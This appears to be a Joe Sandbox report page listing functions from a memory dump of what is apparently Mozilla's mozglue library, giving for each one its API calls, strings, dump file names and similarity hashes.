Function 6C5105F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f3934bbddc50cfddd60db2061a3c23844364e95fef53113e6c1295a8e83a083
Instruction ID: e248674010e0cbbdcd711445da94accc48cea934f8baa33614a95d789dfdb84c
Opcode Fuzzy Hash: 9f3934bbddc50cfddd60db2061a3c23844364e95fef53113e6c1295a8e83a083
Instruction Fuzzy Hash: 0EA14AB0A05655CFEB14CF29C994A9EFBF1BF89304F44866ED44A97B00E730A955CF90

Function 6C5614A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5614C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5614E2
GetCurrentThreadId.KERNEL32 ref: 6C561546
InitializeConditionVariable.KERNEL32(?), ref: 6C5615BA
free.MOZGLUE(?), ref: 6C5616B4

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 5f9b3ca2dbdb58ef662557a43da9295b173c9d2bddbaa7f318b62a9be70b264f
Instruction ID: f397422736439b9990506aecddafe3ff6112542bfe087ae00763f51e4f69104f
Opcode Fuzzy Hash: 5f9b3ca2dbdb58ef662557a43da9295b173c9d2bddbaa7f318b62a9be70b264f
Instruction Fuzzy Hash: 9F61EE75A00750DBDB119F21CC80BEBB7B4BF8A308F45991DE98A57A11EB30E958CB91

Function 6C559F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C559FDB
free.MOZGLUE(?,?), ref: 6C559FF0
free.MOZGLUE(?,?), ref: 6C55A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C55A0BE
free.MOZGLUE(?,?), ref: 6C55A0D5
free.MOZGLUE(?,?), ref: 6C55A0EB

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 3a286f00b47852735b2202f05b48dee8c277f327ab9077466c6b498b202518c5
Instruction ID: 508624296d171faaff5749bd6f5300fd71bf583f5e22f7debc1ebf8be0986687
Opcode Fuzzy Hash: 3a286f00b47852735b2202f05b48dee8c277f327ab9077466c6b498b202518c5
Instruction Fuzzy Hash: 2161B175809641DFC711CF18C88056AB3F5FFC8328F94465AE8599B702E732E996CBD1

Function 6C55DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C55DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C55D38A,?), ref: 6C55DC6F
free.MOZGLUE(?,?,?,?,?,6C55D38A,?), ref: 6C55DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C55D38A,?), ref: 6C55DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C55D38A,?), ref: 6C55DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C55D38A,?), ref: 6C55DD4A

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 05290767397dbe1afc462a5b07215883b99d6627e4f744049e0d6e27afa0b48e
Instruction ID: f387f4ef77ed367164de09b69ae83a68806b493f03730246278059ed28e0eda0
Opcode Fuzzy Hash: 05290767397dbe1afc462a5b07215883b99d6627e4f744049e0d6e27afa0b48e
Instruction Fuzzy Hash: 71417E76A00615CFCB00CFA9CD84A9AB7F5FF89314B95456AD945ABB11D731FC10CB90

Function 6C55C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C55C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C55C842

Part of subcall function 6C55CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C57B5EB,00000000), ref: 6C55CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C55C863
std::_Facet_Register.LIBCPMT ref: 6C55C875

Part of subcall function 6C53B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C57B636,?), ref: 6C53B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C55C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C55C8BC

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 045c4f15a4770853c4f8996c8ce95d0d195a56c449511c4ed12cf59a19a136e0
Instruction ID: 60bbd00096ed25f0cf54b8c1d5e8358909d16de93aac0b0293cb112ba039f7ec
Opcode Fuzzy Hash: 045c4f15a4770853c4f8996c8ce95d0d195a56c449511c4ed12cf59a19a136e0
Instruction Fuzzy Hash: F811B675B012199BCF00EFA4CC849AE7B78EF8E354F01052AE50697341EB30AD18CB95

Function 6C53F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C53F480

Part of subcall function 6C50F100: LoadLibraryW.KERNEL32(shell32,?,6C57D020), ref: 6C50F122
Part of subcall function 6C50F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C50F132

CloseHandle.KERNEL32(00000000), ref: 6C53F555

Part of subcall function 6C5114B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C511248,6C511248,?), ref: 6C5114C9
Part of subcall function 6C5114B0: memcpy.VCRUNTIME140(?,6C511248,00000000,?,6C511248,?), ref: 6C5114EF

Part of subcall function 6C50EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C50EEE3

CreateFileW.KERNEL32 ref: 6C53F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C53F523

Strings

\oleacc.dll, xrefs: 6C53F4CB

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 207b5469221a2e8dc7d97a24ecc44e30a5786e6d287ff0f88e52834a9c6006c5
Instruction ID: ac93b6b45dcba4c5f22a9d24361f5d6a1c9423d675dc302b23d6561a5a9af935
Opcode Fuzzy Hash: 207b5469221a2e8dc7d97a24ecc44e30a5786e6d287ff0f88e52834a9c6006c5
Instruction Fuzzy Hash: A7418E306097209FE720DF69CC84A9BB7F4AF85318F102B5CE59587651FB70D9498BA2

Function 6C54E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54E04F

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C54E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C54E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C54E057

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: d62b1a476842cccde6a3af629f58f77ad8ff7aa200428ecb4890a8504c0f0a7e
Instruction ID: 47a2d2e2895de0d8c76c34440ce8c57dd9976ec844af5f19aa79d6116693db7b
Opcode Fuzzy Hash: d62b1a476842cccde6a3af629f58f77ad8ff7aa200428ecb4890a8504c0f0a7e
Instruction Fuzzy Hash: 2621BE74B011189FDF04EF64DC58AAEB7B9AF86309F158428E81A97740EB71A909C7A1

Function 6C5674A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C567526
__Init_thread_footer.LIBCMT ref: 6C567566
__Init_thread_footer.LIBCMT ref: 6C567597

Strings

UnmapViewOfFile2, xrefs: 6C567552
kernel32.dll, xrefs: 6C567557

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 9428756debe104d90208bfef30fdd366b561f236e644c6bcb6c82b0ff8e2cf12
Instruction ID: bc7d6ba5a281c63d3b290cbf7a255409cedd8248f040a28339cdcbe92951e410
Opcode Fuzzy Hash: 9428756debe104d90208bfef30fdd366b561f236e644c6bcb6c82b0ff8e2cf12
Instruction Fuzzy Hash: C1210731702521DBEE14CFEACC58E593375EB8B3A5F121669D806C7F90DB30AC01C699

Function 6C56A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58F770,-00000001,?,6C57E330,?,6C52BDF7), ref: 6C56A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C52BDF7), ref: 6C56A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C52BDF7), ref: 6C56A7E4
LeaveCriticalSection.KERNEL32(6C58F770), ref: 6C56A80A

Strings

accelerator.dll, xrefs: 6C56A7BF

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 5ab5424879fdc3bcd7229cf2b1bb9b2fc0909a88c1efbb78e19d38b7da3e1ff5
Instruction ID: 8844c86ab4978fd5624d66f538fe0f3746412248071fc2bad734dc17eb31116a
Opcode Fuzzy Hash: 5ab5424879fdc3bcd7229cf2b1bb9b2fc0909a88c1efbb78e19d38b7da3e1ff5
Instruction Fuzzy Hash: C2018F706013249FAF04DF5ADC84C11B7B8FB8A314705816AE809CBB22DB70AC00CBA0

Function 6C5675B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C56748B,?), ref: 6C5675B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5675D7
FreeLibrary.KERNEL32(?,6C56748B,?), ref: 6C5675EC

Strings

RtlNtStatusToDosError, xrefs: 6C5675D1
ntdll.dll, xrefs: 6C5675B3

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 50601ddcd9b3b15947812bd0f8c70c79ca389df3805b3c8397d83de405234edc
Instruction ID: ef02842769be2609eb3c46a00adfe9cef3217c2d04e38d1c090de0dfeff08a4f
Opcode Fuzzy Hash: 50601ddcd9b3b15947812bd0f8c70c79ca389df3805b3c8397d83de405234edc
Instruction Fuzzy Hash: FBE09A71603321AFFF006BA2CC487027AFCE74B354F526625E905D1A11DB748045CF28

Function 6C567600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C567592), ref: 6C567608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C567627
FreeLibrary.KERNEL32(?,6C567592), ref: 6C56763C

Strings

NtUnmapViewOfSection, xrefs: 6C567621
ntdll.dll, xrefs: 6C567603

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 74f572a95502c70fc946e629fc43677c22b5183fe80c6fabec98f481b3481231
Instruction ID: a9d84c9aab662d40ad5b1a5e3a4c19888ddb6d4daf7fe9b149e6ee0a1b649f67
Opcode Fuzzy Hash: 74f572a95502c70fc946e629fc43677c22b5183fe80c6fabec98f481b3481231
Instruction Fuzzy Hash: 77E09A706033219BFF006BA68C087057ABCE71F399F02A715E906D1A10D77080088B2C

Function 6C56BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C56BE49), ref: 6C56BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C56BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C56BE49), ref: 6C56BF38
RtlReAllocateHeap.NTDLL ref: 6C56BF83
RtlFreeHeap.NTDLL ref: 6C56BFA6

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: dc4120a6b4e304d58a670b4c7c0903a605fb61e2f221c1054a5d1696bfc7735b
Instruction ID: 6ee5c62a6bc439b97c7527406671de80677ae90b39713f48e4613842edadec4c
Opcode Fuzzy Hash: dc4120a6b4e304d58a670b4c7c0903a605fb61e2f221c1054a5d1696bfc7735b
Instruction Fuzzy Hash: B8518E71A002058BE710DF6ACD80BAAB3A6BFC8314F294639E555A7F64D730F9469B90

Function 6C558E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C54B58D,?,?,?,?,?,?,?,6C57D734,?,?,?,6C57D734), ref: 6C558E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C54B58D,?,?,?,?,?,?,?,6C57D734,?,?,?,6C57D734), ref: 6C558EBF
free.MOZGLUE(?,?,?,?,6C54B58D,?,?,?,?,?,?,?,6C57D734,?,?,?), ref: 6C558F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C54B58D,?,?,?,?,?,?,?,6C57D734,?,?,?,6C57D734), ref: 6C558F46
free.MOZGLUE(?,?,?,?,6C54B58D,?,?,?,?,?,?,?,6C57D734,?,?,?), ref: 6C558F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C54B58D,?,?,?,?,?,?,?,6C57D734,?,?,?), ref: 6C558F8F

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e8ad1e716398213d814069d086e9f0896f8cf958b378a693ec93fa0b9304705c
Instruction ID: 2190813a343d151b4365c0dc257c2050ec62f45eda1c8cfcd361e43725a0006e
Opcode Fuzzy Hash: e8ad1e716398213d814069d086e9f0896f8cf958b378a693ec93fa0b9304705c
Instruction Fuzzy Hash: DE51A2B1A112168FEB14CF54DC8076E73B2BF49308F55056BD516ABB40E732F914CB92

Function 6C5527E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C552620,?,?,?,6C5460AA,6C545FCB,6C5479A3), ref: 6C55284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C552620,?,?,?,6C5460AA,6C545FCB,6C5479A3), ref: 6C55289A
free.MOZGLUE(?,?,?,6C552620,?,?,?,6C5460AA,6C545FCB,6C5479A3), ref: 6C5528F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C552620,?,?,?,6C5460AA,6C545FCB,6C5479A3), ref: 6C552910
free.MOZGLUE(00000001,?,?,6C552620,?,?,?,6C5460AA,6C545FCB,6C5479A3), ref: 6C55293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C552620,?,?,?,6C5460AA,6C545FCB,6C5479A3), ref: 6C55294E

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: bb6dd08432f2ccc27cb75fd2b92b296300851d750e8f902ce706524b8e3ba87b
Instruction ID: d51ca521e03c4b4fc2a6790d30e144239063139a2785775f5e5dab0b275eb2e4
Opcode Fuzzy Hash: bb6dd08432f2ccc27cb75fd2b92b296300851d750e8f902ce706524b8e3ba87b
Instruction Fuzzy Hash: C241BCF1A002068FEB10CF68DC8876A73F6AB45308F65492AD556EB740E731F954CBA2

Function 6C50CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E784), ref: 6C50CFF6
LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C50D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C50D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C50D139

Strings

MOZ_CRASH(), xrefs: 6C50D187

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 4a950a20b10bd48daccb6a859f790eb07778abf593de3b46c05d6257d643052a
Instruction ID: 2cd04d50d48fe7d4b5ed2fbaabff8fb944a3f0c45858358f09f6390541ad82a1
Opcode Fuzzy Hash: 4a950a20b10bd48daccb6a859f790eb07778abf593de3b46c05d6257d643052a
Instruction Fuzzy Hash: C041A176B023265FDF04DE7C8C9136A76B4EB4A714F160239E918E7785E7B19C008BD8

Function 6C504DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C504E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C504E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C504EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C504F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C504F1E

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 9be552babf7d6baf2ea6cb4dc083b4610eea7ddebc821ae4be942c0c3a3d61cc
Instruction ID: 02302f56c0fb2d878d9cca0f8e330236f1079b46762cd4d0ea2f58ec1d320b4f
Opcode Fuzzy Hash: 9be552babf7d6baf2ea6cb4dc083b4610eea7ddebc821ae4be942c0c3a3d61cc
Instruction Fuzzy Hash: 6341DF71608701DFC705CF29C88095BB7E4BF99344F108A2DF86687B41DB70E958CB92

